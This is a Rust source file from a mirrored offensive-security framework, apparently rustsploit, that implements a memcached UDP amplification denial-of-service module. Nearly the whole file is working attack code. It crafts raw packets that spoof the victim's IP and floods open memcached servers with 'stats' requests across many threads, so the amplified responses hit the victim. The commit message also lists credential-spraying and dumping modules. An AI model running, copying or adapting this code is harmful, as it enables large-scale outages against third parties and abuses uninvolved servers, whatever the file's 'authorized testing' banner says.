mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
8a8b7e8e5f
Modules: - Refactor wpair (WhisperPair / CVE-2025-36911) into a module directory (crypto/db/gatt/protocol + model_ids.csv), replacing the single wpair.rs - Add h3c_bmc suite (firewall/ipmi-hash/kvm-probe/redfish dumps), fortinet SSLVPN/magic-token, sharepoint_doc_harvest, m365_activesync_spray, ldap_anon_spray, php/git/tapestry webapp modules, h3c_cloudos_api_enum, etc. Framework hardening / feature fixes: - Background jobs capture module output (drainer) + wire progress counters (ScanCounters); tenant jobs record terminal status on their own JobManager - SSRF: ssrf_gate distinguishes SSRF_BLOCKED vs TARGET_ERROR; fail-closed REST/WS/MCP dispatch; tenant-tagged PQ lifecycle events - Scheduler: exclusions + service-port precheck on CIDR/file fan-out; accurate considered/skipped counters; cancellation-safe permit acquisition - Mass scan works via shell/CLI/API/MCP (added MCP run_module background-job option so long scans don't hit the tool-call timeout) - Bruteforce workers re-scope OUTPUT_BUFFER; cross-product combo default - Stores: cred dedup/cap/scrub, loot scrub, workspace protocol scrub, spool explicit-owner + write_raw (no-newline spooling) - Error handling: removed let _/discarded-error patterns; failures are distinguishable from negatives - Removed dead check/CheckResult subsystem, OutputAccumulator, and the no-op --output-format flag; CredEntry.valid wired (creds invalidate/validate); typed HostUp/ServiceDetected events - Add .gitignore (build artifacts, local config, engagement data) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
633 lines
25 KiB
Rust
633 lines
25 KiB
Rust
//! Memcached UDP Amplification DoS Module
|
|
//!
|
|
//! Sends spoofed memcached UDP "stats" requests to open memcached servers with
|
|
//! the victim's IP as source, causing massively amplified responses (~51000x)
|
|
//! directed at the victim. Uses raw UDP sockets with IP_HDRINCL.
|
|
//! FOR AUTHORIZED TESTING ONLY.
|
|
|
|
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
|
|
use anyhow::{anyhow, Context, Result};
|
|
use colored::*;
|
|
use socket2::{Domain, Protocol, Socket, Type};
|
|
use std::net::Ipv4Addr;
|
|
use std::os::unix::io::AsRawFd;
|
|
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
|
use std::sync::Arc;
|
|
use std::thread;
|
|
use std::time::{Duration, Instant};
|
|
|
|
use crate::module::{ModuleCtx, ModuleOutcome};
|
|
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
|
use crate::utils::{
|
|
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
|
};
|
|
|
|
// ============================================================================
|
|
// CONSTANTS
|
|
// ============================================================================
|
|
|
|
const IPV4_HEADER_LEN: usize = 20;
|
|
const UDP_HEADER_LEN: usize = 8;
|
|
const MEMCACHED_PORT: u16 = 11211;
|
|
const DEFAULT_TTL: u8 = 64;
|
|
const IPPROTO_UDP: u8 = 17;
|
|
const STATS_BATCH_SIZE: u64 = 5000;
|
|
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
|
|
const AMPLIFICATION_FACTOR: f64 = 51000.0;
|
|
|
|
const MEMCACHED_PAYLOAD: [u8; 15] = [
|
|
0x00, 0x00, // Request ID
|
|
0x00, 0x00, // Sequence number
|
|
0x00, 0x01, // Total datagrams
|
|
0x00, 0x00, // Reserved
|
|
b's', b't', b'a', b't', b's', b'\r', b'\n', // stats\r\n
|
|
];
|
|
|
|
// ============================================================================
|
|
// CONFIGURATION
|
|
// ============================================================================
|
|
|
|
#[derive(Clone, Debug)]
|
|
struct MemcachedAmpConfig {
|
|
victim_ip: Ipv4Addr,
|
|
memcached_servers: Vec<Ipv4Addr>,
|
|
worker_count: usize,
|
|
duration_secs: u64,
|
|
verbose: bool,
|
|
}
|
|
|
|
// ============================================================================
|
|
// FAST RNG (XorShift128+)
|
|
// ============================================================================
|
|
|
|
|
|
|
|
// ============================================================================
|
|
// RAW PACKET BUILDER (IP + UDP + Memcached payload)
|
|
// ============================================================================
|
|
|
|
struct PacketBuilder {
|
|
template: Vec<u8>,
|
|
udp_pseudo_partial_base: u32,
|
|
}
|
|
|
|
impl PacketBuilder {
|
|
fn new(victim_ip: Ipv4Addr) -> Result<Self> {
|
|
let payload_len = MEMCACHED_PAYLOAD.len();
|
|
let total_len = IPV4_HEADER_LEN + UDP_HEADER_LEN + payload_len;
|
|
let mut template = vec![0u8; total_len];
|
|
|
|
// IP header (static fields)
|
|
template[0] = 0x45; // Version=4, IHL=5
|
|
template[1] = 0; // DSCP/ECN
|
|
template[2] = (total_len >> 8) as u8; // Total length hi
|
|
template[3] = total_len as u8; // Total length lo
|
|
template[6] = 0; // Flags
|
|
template[7] = 0;
|
|
template[8] = DEFAULT_TTL; // TTL
|
|
template[9] = IPPROTO_UDP; // Protocol
|
|
|
|
// Source IP = victim (spoofed)
|
|
let src_bytes = victim_ip.octets();
|
|
template[12] = src_bytes[0];
|
|
template[13] = src_bytes[1];
|
|
template[14] = src_bytes[2];
|
|
template[15] = src_bytes[3];
|
|
|
|
// Dest IP filled per-packet (per memcached server)
|
|
// UDP header (static fields)
|
|
let udp = &mut template[IPV4_HEADER_LEN..];
|
|
// Source port set per-packet (random ephemeral)
|
|
udp[2] = (MEMCACHED_PORT >> 8) as u8; // Dest port hi (11211)
|
|
udp[3] = MEMCACHED_PORT as u8; // Dest port lo
|
|
let udp_len = (UDP_HEADER_LEN + payload_len) as u16;
|
|
udp[4] = (udp_len >> 8) as u8; // UDP length hi
|
|
udp[5] = udp_len as u8; // UDP length lo
|
|
// [6..8] = UDP checksum (set per-packet)
|
|
|
|
// Memcached stats payload
|
|
template[IPV4_HEADER_LEN + UDP_HEADER_LEN..].copy_from_slice(&MEMCACHED_PAYLOAD);
|
|
|
|
// Pre-compute partial pseudo-header: src_ip + protocol + udp_length
|
|
let mut partial: u32 = 0;
|
|
partial += u16::from_be_bytes([src_bytes[0], src_bytes[1]]) as u32;
|
|
partial += u16::from_be_bytes([src_bytes[2], src_bytes[3]]) as u32;
|
|
partial += IPPROTO_UDP as u32;
|
|
partial += udp_len as u32;
|
|
|
|
Ok(Self {
|
|
template,
|
|
udp_pseudo_partial_base: partial,
|
|
})
|
|
}
|
|
|
|
/// Build a spoofed memcached UDP packet targeting a specific server.
|
|
#[inline]
|
|
fn build_into(&self, buf: &mut [u8], server: Ipv4Addr, rng: &mut FastRng) -> usize {
|
|
let len = self.template.len();
|
|
buf[..len].copy_from_slice(&self.template);
|
|
|
|
let dst_bytes = server.octets();
|
|
let src_port = rng.gen_ephemeral_port();
|
|
let ip_id = rng.next_u16();
|
|
|
|
// Patch IP header -- dest IP (memcached server)
|
|
buf[4] = (ip_id >> 8) as u8;
|
|
buf[5] = ip_id as u8;
|
|
buf[16] = dst_bytes[0];
|
|
buf[17] = dst_bytes[1];
|
|
buf[18] = dst_bytes[2];
|
|
buf[19] = dst_bytes[3];
|
|
|
|
// IP checksum
|
|
buf[10] = 0;
|
|
buf[11] = 0;
|
|
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
|
|
buf[10] = (ip_cksum >> 8) as u8;
|
|
buf[11] = ip_cksum as u8;
|
|
|
|
// Patch UDP header -- source port
|
|
let udp = &mut buf[IPV4_HEADER_LEN..];
|
|
udp[0] = (src_port >> 8) as u8;
|
|
udp[1] = src_port as u8;
|
|
udp[6] = 0;
|
|
udp[7] = 0;
|
|
|
|
// UDP checksum
|
|
let mut sum = self.udp_pseudo_partial_base;
|
|
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
|
|
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
|
|
let udp_data = &buf[IPV4_HEADER_LEN..len];
|
|
sum = sum_16(udp_data, sum);
|
|
while (sum >> 16) != 0 {
|
|
sum = (sum & 0xFFFF) + (sum >> 16);
|
|
}
|
|
let udp_cksum = !(sum as u16);
|
|
let udp_cksum = if udp_cksum == 0 { 0xFFFF } else { udp_cksum };
|
|
buf[IPV4_HEADER_LEN + 6] = (udp_cksum >> 8) as u8;
|
|
buf[IPV4_HEADER_LEN + 7] = udp_cksum as u8;
|
|
|
|
len
|
|
}
|
|
|
|
|
|
}
|
|
|
|
// ============================================================================
|
|
// LOW-LEVEL SEND HELPERS
|
|
// ============================================================================
|
|
|
|
// ============================================================================
|
|
// WORKER THREAD
|
|
// ============================================================================
|
|
|
|
struct WorkerStats {
|
|
packets: u64,
|
|
bytes: u64,
|
|
}
|
|
|
|
fn worker_thread(
|
|
wctx: super::WorkerCtx,
|
|
config: MemcachedAmpConfig,
|
|
) {
|
|
let super::WorkerCtx { worker_id, raw_fd, stop_flag, global_packets, global_bytes, global_errors, start_time } = wctx;
|
|
let builder = match PacketBuilder::new(config.victim_ip) {
|
|
Ok(b) => b,
|
|
Err(e) => {
|
|
crate::meprintln!("[!] Worker {} builder error: {}", worker_id, e);
|
|
return;
|
|
}
|
|
};
|
|
|
|
let mut rng = FastRng::with_thread_seed(worker_id);
|
|
let duration = Duration::from_secs(config.duration_secs);
|
|
let pkt_size = IPV4_HEADER_LEN + UDP_HEADER_LEN + MEMCACHED_PAYLOAD.len();
|
|
let pkt_size_u64 = pkt_size as u64;
|
|
let mut stats = WorkerStats { packets: 0, bytes: 0 };
|
|
let mut local_errs: u64 = 0;
|
|
let mut consecutive_errs: u32 = 0;
|
|
let mut error_logged = false;
|
|
let mut buf = vec![0u8; pkt_size];
|
|
let server_count = config.memcached_servers.len();
|
|
let mut server_idx: usize = worker_id % server_count;
|
|
|
|
// Pre-compute sockaddrs for all memcached servers
|
|
let dst_addrs: Vec<libc::sockaddr_in> = config.memcached_servers
|
|
.iter()
|
|
.map(|ip| make_dst_sockaddr(*ip))
|
|
.collect();
|
|
|
|
loop {
|
|
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
|
|
break;
|
|
}
|
|
|
|
// Round-robin through memcached servers
|
|
let server = config.memcached_servers[server_idx];
|
|
let dst = &dst_addrs[server_idx];
|
|
server_idx = (server_idx + 1) % server_count;
|
|
|
|
builder.build_into(&mut buf, server, &mut rng);
|
|
|
|
match send_one_raw(raw_fd, &buf[..pkt_size], dst) {
|
|
Ok(_) => {
|
|
stats.packets += 1;
|
|
stats.bytes += pkt_size_u64;
|
|
consecutive_errs = 0;
|
|
}
|
|
Err(e) => {
|
|
local_errs += 1;
|
|
consecutive_errs += 1;
|
|
|
|
let errno = e.raw_os_error().unwrap_or(0);
|
|
|
|
if errno == libc::EPERM || errno == libc::EACCES {
|
|
if worker_id == 0 {
|
|
crate::meprintln!("\n{}", "[!] Permission denied — root/CAP_NET_RAW required".red().bold());
|
|
}
|
|
stop_flag.store(true, Ordering::Relaxed);
|
|
break;
|
|
}
|
|
|
|
if errno == libc::ENOBUFS || errno == libc::ENOMEM {
|
|
thread::sleep(Duration::from_micros(200));
|
|
consecutive_errs = consecutive_errs.saturating_sub(1);
|
|
}
|
|
|
|
if config.verbose && worker_id == 0 && !error_logged {
|
|
crate::meprintln!("\n{}", format!("[!] Send error: {} (errno {})", e, errno).red());
|
|
error_logged = true;
|
|
}
|
|
|
|
if consecutive_errs >= 500 {
|
|
if worker_id == 0 {
|
|
crate::meprintln!("\n{}", format!(
|
|
"[!] Worker 0: {} consecutive errors, giving up: {} (errno {})",
|
|
consecutive_errs, e, errno
|
|
).red());
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Batch flush global stats
|
|
if stats.packets >= STATS_BATCH_SIZE {
|
|
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
|
|
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
|
|
global_errors.fetch_add(local_errs, Ordering::Relaxed);
|
|
stats.packets = 0;
|
|
stats.bytes = 0;
|
|
local_errs = 0;
|
|
}
|
|
}
|
|
|
|
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
|
|
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
|
|
global_errors.fetch_add(local_errs, Ordering::Relaxed);
|
|
}
|
|
|
|
fn create_raw_socket() -> Result<Socket> {
|
|
let socket = Socket::new(
|
|
Domain::IPV4,
|
|
Type::RAW,
|
|
Some(Protocol::from(libc::IPPROTO_RAW)),
|
|
).context("Failed to create raw socket (requires root)")?;
|
|
|
|
socket.set_header_included_v4(true)
|
|
.context("Failed to set IP_HDRINCL")?;
|
|
|
|
if let Err(e) = socket.set_send_buffer_size(SEND_BUFFER_SIZE) { eprintln!("[!] Failed to set send buffer size: {}", e); }
|
|
crate::native::network::apply_raw_send_timeout(&socket);
|
|
|
|
Ok(socket)
|
|
}
|
|
|
|
/// Parse memcached servers from a comma-separated string or a file path (one IP per line).
|
|
fn parse_server_list(input: &str) -> Result<Vec<Ipv4Addr>> {
|
|
let trimmed = input.trim();
|
|
// Check if input looks like a file path
|
|
if std::path::Path::new(trimmed).is_file() {
|
|
let contents = std::fs::read_to_string(trimmed)
|
|
.context("Failed to read server list file")?;
|
|
let mut addrs = Vec::new();
|
|
for line in contents.lines() {
|
|
let line = line.trim();
|
|
if line.is_empty() || line.starts_with('#') {
|
|
continue;
|
|
}
|
|
let ip: Ipv4Addr = line.parse()
|
|
.map_err(|e| anyhow!("Invalid IP in file: '{}': {e}", line))?;
|
|
addrs.push(ip);
|
|
}
|
|
return Ok(addrs);
|
|
}
|
|
|
|
// Otherwise treat as comma-separated
|
|
let mut addrs = Vec::new();
|
|
for part in trimmed.split(',') {
|
|
let part = part.trim();
|
|
if !part.is_empty() {
|
|
let ip: Ipv4Addr = part.parse()
|
|
.map_err(|e| anyhow!("Invalid memcached server IP: '{}': {e}", part))?;
|
|
addrs.push(ip);
|
|
}
|
|
}
|
|
Ok(addrs)
|
|
}
|
|
|
|
// ============================================================================
|
|
// MAIN EXECUTION
|
|
// ============================================================================
|
|
|
|
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|
let initial_target = ctx
|
|
.target
|
|
.as_single()
|
|
.context("memcached_amplification requires a single-host target")?;
|
|
crate::utils::require_root("memcached_amplification (raw socket for spoofed source)")?;
|
|
if crate::api::is_blocked_target(initial_target) {
|
|
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
|
return Ok(ModuleOutcome::ok());
|
|
}
|
|
|
|
display_banner();
|
|
let config = gather_config(initial_target).await?;
|
|
execute_attack(config, ctx.cancel.clone()).await?;
|
|
Ok(ModuleOutcome::ok())
|
|
}
|
|
|
|
fn display_banner() {
|
|
if crate::utils::is_batch_mode() { return; }
|
|
crate::mprintln!("{}", r#"
|
|
╔══════════════════════════════════════════════════════════════╗
|
|
║ Memcached UDP Amplification DoS Module ║
|
|
║ Spoofed Stats Requests (~51,000x Amplification) ║
|
|
║ Raw UDP with IP_HDRINCL ║
|
|
║ FOR AUTHORIZED TESTING ONLY ║
|
|
╚══════════════════════════════════════════════════════════════╝
|
|
"#.red().bold());
|
|
}
|
|
|
|
async fn gather_config(initial_target: &str) -> Result<MemcachedAmpConfig> {
|
|
crate::mprintln!("{}", "=== Configuration ===".bold());
|
|
|
|
// Target = victim IP
|
|
let target_input = if initial_target.trim().is_empty() {
|
|
cfg_prompt_required("target", "Victim IP (target that receives amplified memcached responses)").await?
|
|
} else {
|
|
crate::mprintln!("{}", format!("[*] Using victim: {}", initial_target).cyan());
|
|
initial_target.to_string()
|
|
};
|
|
|
|
let normalized = normalize_target(&target_input)?;
|
|
|
|
// P1-4: refuse (or force explicit authorization for) DoS against
|
|
// private / loopback / cloud-metadata addresses.
|
|
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
|
|
|
let victim_ip: Ipv4Addr = normalized.parse()
|
|
.map_err(|e| anyhow!("Victim must be a valid IPv4 address: {e}"))?;
|
|
|
|
// Memcached servers
|
|
let servers_input = cfg_prompt_required(
|
|
"memcached_servers",
|
|
"Memcached servers (comma-separated IPs or file path, one per line)",
|
|
).await?;
|
|
|
|
let memcached_servers = parse_server_list(&servers_input)?;
|
|
if memcached_servers.is_empty() {
|
|
return Err(anyhow!("At least one memcached server is required"));
|
|
}
|
|
|
|
let cpu_count = num_cpus::get();
|
|
let workers_input = cfg_prompt_default(
|
|
"workers",
|
|
&format!("Worker threads (recommended: {})", cpu_count),
|
|
&cpu_count.to_string(),
|
|
).await?;
|
|
let worker_count: usize = workers_input.parse()
|
|
.map_err(|e| anyhow!("Invalid number for workers: {e}"))?;
|
|
if worker_count == 0 {
|
|
return Err(anyhow!("Worker count must be > 0"));
|
|
}
|
|
|
|
let duration_input = cfg_prompt_required("duration", "Duration (seconds)").await?;
|
|
let duration_secs: u64 = duration_input.parse()
|
|
.map_err(|e| anyhow!("Invalid duration: {e}"))?;
|
|
if duration_secs == 0 {
|
|
return Err(anyhow!("Duration must be > 0"));
|
|
}
|
|
|
|
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
|
|
|
// Summary
|
|
crate::mprintln!("\n{}", "=== Attack Configuration ===".bold());
|
|
crate::mprintln!(" Victim IP: {}", victim_ip);
|
|
crate::mprintln!(" Memcached Servers: {} targets", memcached_servers.len());
|
|
for s in &memcached_servers {
|
|
crate::mprintln!(" - {}:{}", s, MEMCACHED_PORT);
|
|
}
|
|
crate::mprintln!(" Workers: {} threads", worker_count);
|
|
crate::mprintln!(" Duration: {}s", duration_secs);
|
|
crate::mprintln!(" Amplification: ~{:.0}x", AMPLIFICATION_FACTOR);
|
|
crate::mprintln!(" Request Payload: {} bytes (stats command)", MEMCACHED_PAYLOAD.len());
|
|
|
|
crate::mprintln!("\n{}", "[!] Spoofed memcached UDP requests will be sent to servers".yellow().bold());
|
|
crate::mprintln!("{}", "[!] Amplified responses (~51,000x) will be directed at the victim".yellow());
|
|
crate::mprintln!("{}", "[!] This is the most powerful known UDP amplification vector".red().bold());
|
|
|
|
if !cfg_prompt_yes_no("confirm", "\nProceed with attack?", true).await? {
|
|
return Err(anyhow!("Attack cancelled by user"));
|
|
}
|
|
|
|
Ok(MemcachedAmpConfig {
|
|
victim_ip,
|
|
memcached_servers,
|
|
worker_count,
|
|
duration_secs,
|
|
verbose,
|
|
})
|
|
}
|
|
|
|
async fn execute_attack(mut config: MemcachedAmpConfig, cancel: tokio_util::sync::CancellationToken) -> Result<()> {
|
|
crate::mprintln!("\n{}", "[*] Starting Memcached Amplification Attack...".yellow().bold());
|
|
|
|
// P2: ensure host limits before allocating sockets / spawning threads.
|
|
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
|
"memcached_amplification",
|
|
config.worker_count,
|
|
1,
|
|
);
|
|
config.worker_count = clamped;
|
|
|
|
// Shared socket pool: one socket per CPU core (up to 32), striped across workers.
|
|
// Avoids fd exhaustion from per-worker sockets while reducing kernel lock contention.
|
|
let num_sockets = config.worker_count.min(num_cpus::get().max(1) * 2).min(32);
|
|
crate::mprintln!("[*] Creating {} shared raw socket(s)...", num_sockets);
|
|
|
|
let sockets: Vec<Socket> = (0..num_sockets)
|
|
.map(|_| create_raw_socket())
|
|
.collect::<Result<Vec<_>>>()?;
|
|
let fds: Vec<i32> = sockets.iter().map(|s| s.as_raw_fd()).collect();
|
|
|
|
// Pre-flight: verify we can actually send a raw packet before spawning workers
|
|
crate::mprintln!("{}", "[*] Pre-flight test...".cyan());
|
|
let test_builder = PacketBuilder::new(config.victim_ip)?;
|
|
let mut test_rng = FastRng::with_thread_seed(usize::MAX);
|
|
let pkt_size = IPV4_HEADER_LEN + UDP_HEADER_LEN + MEMCACHED_PAYLOAD.len();
|
|
let mut test_buf = vec![0u8; pkt_size];
|
|
let first_server = config.memcached_servers[0];
|
|
test_builder.build_into(&mut test_buf, first_server, &mut test_rng);
|
|
let dst_sockaddr = make_dst_sockaddr(first_server);
|
|
|
|
match send_one_raw(fds[0], &test_buf, &dst_sockaddr) {
|
|
Ok(n) => crate::mprintln!("{}", format!("[+] Pre-flight OK: {} bytes queued to kernel", n).green()),
|
|
Err(e) => {
|
|
let errno = e.raw_os_error().unwrap_or(-1);
|
|
return Err(anyhow!(
|
|
"Pre-flight send failed: {} (errno {})\n\
|
|
Possible causes:\n\
|
|
- EPERM/EACCES (errno 1/13): not running as root or CAP_NET_RAW missing\n\
|
|
- ENETUNREACH (errno 101): no route to {}\n\
|
|
- EMSGSIZE (errno 90): packet ({} bytes) exceeds interface MTU\n\
|
|
- EINVAL (errno 22): invalid socket configuration",
|
|
e, errno, first_server, pkt_size
|
|
));
|
|
}
|
|
}
|
|
|
|
let stop_flag = Arc::new(AtomicBool::new(false));
|
|
let packets_sent = Arc::new(AtomicU64::new(0));
|
|
let bytes_sent = Arc::new(AtomicU64::new(0));
|
|
let errors_total = Arc::new(AtomicU64::new(0));
|
|
|
|
crate::mprintln!("[*] Spawning {} worker threads across {} socket(s)...", config.worker_count, num_sockets);
|
|
|
|
let start_time = Instant::now();
|
|
let duration = Duration::from_secs(config.duration_secs);
|
|
|
|
let mut handles = Vec::with_capacity(config.worker_count);
|
|
let mut spawn_failures = 0u32;
|
|
for worker_id in 0..config.worker_count {
|
|
let cfg = config.clone();
|
|
let stop = stop_flag.clone();
|
|
let pkts = packets_sent.clone();
|
|
let bts = bytes_sent.clone();
|
|
let errs = errors_total.clone();
|
|
let fd = fds[worker_id % fds.len()];
|
|
match thread::Builder::new()
|
|
.stack_size(128 * 1024)
|
|
.spawn(move || {
|
|
worker_thread(super::WorkerCtx { worker_id, raw_fd: fd, stop_flag: stop, global_packets: pkts, global_bytes: bts, global_errors: errs, start_time }, cfg);
|
|
}) {
|
|
Ok(handle) => handles.push(handle),
|
|
Err(e) => {
|
|
spawn_failures += 1;
|
|
if spawn_failures == 1 {
|
|
crate::meprintln!("{}", format!(
|
|
"[!] Thread spawn failed at worker {} — OS thread limit reached: {e}",
|
|
worker_id
|
|
).yellow());
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if handles.is_empty() {
|
|
return Err(anyhow!("Failed to spawn any worker threads"));
|
|
}
|
|
if spawn_failures > 0 {
|
|
crate::mprintln!("{}", format!(
|
|
"[!] {}/{} workers spawned ({} failed — reduce worker count or raise ulimit)",
|
|
handles.len(), config.worker_count, spawn_failures
|
|
).yellow());
|
|
}
|
|
|
|
crate::mprintln!("{}", "[*] Attack started!".green().bold());
|
|
|
|
// Stats printer
|
|
let stats_stop = stop_flag.clone();
|
|
let stats_pkts = packets_sent.clone();
|
|
let stats_bytes = bytes_sent.clone();
|
|
let stats_errs = errors_total.clone();
|
|
let server_count = config.memcached_servers.len() as u64;
|
|
let stats_task = tokio::spawn(async move {
|
|
while !stats_stop.load(Ordering::Relaxed) {
|
|
tokio::time::sleep(Duration::from_secs(2)).await;
|
|
let pkts = stats_pkts.load(Ordering::Relaxed);
|
|
let bytes = stats_bytes.load(Ordering::Relaxed);
|
|
let errs = stats_errs.load(Ordering::Relaxed);
|
|
let elapsed = start_time.elapsed().as_secs_f64();
|
|
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
|
|
let est_amplified_mb = (bytes as f64 * AMPLIFICATION_FACTOR) / (1024.0 * 1024.0);
|
|
|
|
crate::mprint!("\r{}", format!(
|
|
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Servers: {} | Rate: {:>8.0} pkt/s | Errs: {} ",
|
|
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, server_count, rate, errs
|
|
).dimmed());
|
|
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
|
|
}
|
|
});
|
|
|
|
tokio::select! {
|
|
_ = tokio::time::sleep(duration) => {}
|
|
_ = cancel.cancelled() => {
|
|
crate::meprintln!("[*] Memcached amplification cancelled by user");
|
|
}
|
|
}
|
|
stop_flag.store(true, Ordering::SeqCst);
|
|
|
|
for handle in handles {
|
|
if let Err(e) = handle.join() { eprintln!("[!] Thread join failed: {:?}", e); }
|
|
}
|
|
stats_task.abort();
|
|
|
|
let total_pkts = packets_sent.load(Ordering::Relaxed);
|
|
let total_bytes = bytes_sent.load(Ordering::Relaxed);
|
|
let total_errs = errors_total.load(Ordering::Relaxed);
|
|
let elapsed_secs = start_time.elapsed().as_secs_f64();
|
|
let est_amplified_bytes = total_bytes as f64 * AMPLIFICATION_FACTOR;
|
|
|
|
crate::mprintln!("\n\n{}", "=== Attack Complete ===".green().bold());
|
|
crate::mprintln!(" Duration: {:.2}s", elapsed_secs);
|
|
crate::mprintln!(" Requests Sent: {}", total_pkts);
|
|
crate::mprintln!(" Data Sent: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
|
|
crate::mprintln!(" Est. Amplified Volume: {:.2} MB ({:.2} GB)",
|
|
est_amplified_bytes / (1024.0 * 1024.0),
|
|
est_amplified_bytes / (1024.0 * 1024.0 * 1024.0));
|
|
crate::mprintln!(" Amplification Factor: ~{:.0}x", AMPLIFICATION_FACTOR);
|
|
crate::mprintln!(" Total Errors: {}", total_errs);
|
|
if elapsed_secs > 0.0 {
|
|
crate::mprintln!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
|
|
}
|
|
if total_pkts == 0 && total_errs > 0 {
|
|
crate::mprintln!("\n{}", "[!] Zero packets sent — all sends failed. Check errors above.".red().bold());
|
|
} else if total_pkts > 0 && total_errs > total_pkts / 2 {
|
|
crate::mprintln!("\n{}", format!(
|
|
"[!] High error rate ({} errors / {} packets). Reduce worker count.",
|
|
total_errs, total_pkts
|
|
).yellow());
|
|
}
|
|
|
|
drop(sockets);
|
|
Ok(())
|
|
}
|
|
|
|
pub fn info() -> crate::module_info::ModuleInfo {
|
|
crate::module_info::ModuleInfo {
|
|
name: "Memcached UDP Amplification".to_string(),
|
|
description: "Sends spoofed memcached UDP stats requests to open servers, causing massively amplified responses (~51,000x) directed at the victim via raw UDP with IP_HDRINCL.".to_string(),
|
|
authors: vec!["RustSploit Contributors".to_string()],
|
|
references: vec![
|
|
"CVE-2018-1000115".to_string(),
|
|
"https://www.us-cert.gov/ncas/alerts/TA18-106A".to_string(),
|
|
],
|
|
disclosure_date: None,
|
|
rank: crate::module_info::ModuleRank::Normal,
|
|
default_port: None,
|
|
}
|
|
}
|
|
|
|
crate::register_native_module!(crate::module::Category::Exploits, "dos/memcached_amplification", native);
|